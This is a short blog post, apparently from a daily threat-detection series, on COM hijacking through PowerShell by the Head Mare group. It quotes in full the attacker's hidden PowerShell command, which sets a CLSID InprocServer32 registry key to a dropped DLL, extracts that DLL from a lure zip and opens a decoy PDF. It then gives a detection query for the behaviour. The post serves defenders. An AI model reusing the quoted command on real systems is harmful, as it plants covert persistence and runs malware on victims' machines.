239. That's How Adversaries Abuse PowerShell for Component Object Model Hijacking
Hello everyone!
Do you remember PowerShell has almost countless number of procedures? So today we'll look at another one, which includes the following technique: Event Triggered Execution: Component Object Model Hijacking (T1546.015).
This time the example we are going to look at belongs to Head Mare (or Rainbow Hyena). One more time the adversary leveraged malicious LNK files in order to execute the following PowerShell command:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -c "New-Item -Path 'HKCU:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\InprocServer32' -Force|Set-Item -Value 'C:\ProgramData\winnt64_.dll';$r=[System.IO.Path]::Combine($(gl).Path,'Задание_на_оценку_N_2046_от_05_августа_2025_года.zip');if(Test-Path $r){[System.IO.File]::WriteAllBytes([System.IO.Path]::Combine($env:ProgramData,'winnt64_.dll'),([System.IO.File]::ReadAllBytes($r)|select -Skip 16 -First 642064));}else{$f=$(gci -Path $env:USERPROFILE -Recurse -File|where{$_.Name -like 'Задание_на_оценку_N_2046_от_05_августа_2025_года.zip'}|select -First 1); if($f){$r=$f.FullName;[System.IO.File]::WriteAllBytes('C:\ProgramData\winnt64_.dll',([System.IO.File]::ReadAllBytes($r)|select -Skip 16 -First 642064));}};if(-Not (Test-Path $r)){$r=$(gci -Path $env.TEMP -Recurse -File|where {$_.Name -like 'Задание_на_оценку_N_2046_от_05_августа_2025_года.zip'}|select -First 1).FullName};[System.IO.File]::WriteAllBytes([System.IO.Path]::Combine($env:TEMP,'C:\sponge-bob\exe-zip-injector\Задание_на_оценку_N_2046_от_05_августа_2025_года.pdf'),([System.IO.File]::ReadAllBytes($r)|select -Skip 642064 -First 225723));start $([System.IO.Path]::Combine($env:TEMP, 'C:\sponge-bob\exe-zip-injector\Задание_на_оценку_N_2046_от_05_августа_2025_года.pdf'));
As you can see, among other actions, the command creates a COM class registry key and points it to malicious winnt64_.dll.
So, to detect similar behavior markers, we can search for related command line strings:
event_type: "processcreatewin"
AND
proc_file_path: "powershell.exe"
AND
cmdline: ("InprocServer32" AND "set-item" AND "value")
See you tomorrow!
Comments
Post a Comment